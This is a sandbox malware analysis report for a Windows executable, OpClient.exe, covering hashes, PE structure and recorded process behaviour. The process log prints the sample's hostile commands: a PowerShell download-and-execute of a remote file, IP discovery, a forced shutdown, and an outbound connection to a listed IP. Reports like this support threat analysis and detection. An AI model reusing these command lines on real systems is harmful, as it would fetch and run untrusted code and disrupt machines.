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File name:

OpClient.exe

Full analysis: https://app.any.run/tasks/f2bf586f-dceb-4623-b737-d4db2739e70d
Verdict: Malicious activity
Analysis date: June 16, 2019, 15:19:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (console) Intel 80386, for MS Windows
MD5:

42B996272EAC7296A3366553C6C5D3E3

SHA1:

EAAA7FC4FE0061C415EF6C20FEA783A6640973A0

SHA256:

AD086A6AD9A1BD8778C3FDB33248AC2FDD8E7E3BC48F15056B20562058ECF6B6

SSDEEP:

384:tmgBNi740T+QRu387A0j6kwe7hAvJVnrjk6+S76ses/P:ttNW4HcNjvw0hAvTnB76xs/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 1532)
  • SUSPICIOUS

    • Uses IPCONFIG.EXE to discover IP address

      • cmd.exe (PID: 680)
    • Starts CMD.EXE for commands execution

      • OpClient.exe (PID: 3384)
    • Creates files in the user directory

      • powershell.exe (PID: 2484)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2019:06:16 12:31:05+02:00
PEType: PE32
LinkerVersion: 14.2
CodeSize: 7680
InitializedDataSize: 8704
UninitializedDataSize: -
EntryPoint: 0x2165
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows command line

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_CUI
Compilation Date: 16-Jun-2019 10:31:05
Detected languages:
  • English - United States
Debug artifacts:
  • C:\Users\ultra\source\repos\OpServer\Release\OpClient.pdb

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 16-Jun-2019 10:31:05
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00001DEB
0x00001E00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.33404
.rdata
0x00003000
0x00001506
0x00001600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.66211
.data
0x00005000
0x00000424
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
2.101
.rsrc
0x00006000
0x000001E0
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.6976
.reloc
0x00007000
0x000002FC
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
5.47602

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.91161
381
UNKNOWN
English - United States
RT_MANIFEST

Imports

KERNEL32.dll
MSVCP140.dll
USER32.dll
VCRUNTIME140.dll
WS2_32.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
8
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start opclient.exe cmd.exe no specs cmd.exe no specs ipconfig.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs shutdown.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3384"C:\Users\admin\AppData\Local\Temp\OpClient.exe" C:\Users\admin\AppData\Local\Temp\OpClient.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
1073807364
2600C:\Windows\system32\cmd.exe /c kkC:\Windows\system32\cmd.exeOpClient.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
680C:\Windows\system32\cmd.exe /c ipconfigC:\Windows\system32\cmd.exeOpClient.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3332ipconfigC:\Windows\system32\ipconfig.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IP Configuration Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1532C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest https://srv-file5.gofile.io/download/D052zu/ChilledWindows.exe -OutFile lol.exe" & lol.exe & del lol.exeC:\Windows\system32\cmd.exeOpClient.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2484powershell -Command "Invoke-WebRequest https://srv-file5.gofile.io/download/D052zu/ChilledWindows.exe -OutFile lol.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1512C:\Windows\system32\cmd.exe /c shutdown -pC:\Windows\system32\cmd.exeOpClient.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2056shutdown -pC:\Windows\system32\shutdown.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Shutdown and Annotation Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
196
Read events
141
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5N1C5YF0C940A7C915M6.temp
MD5:
SHA256:
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12796e.TMPbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3384
OpClient.exe
77.135.115.209:25565
SFR
FR
unknown

DNS requests

No data

Threats

No threats detected
No debug info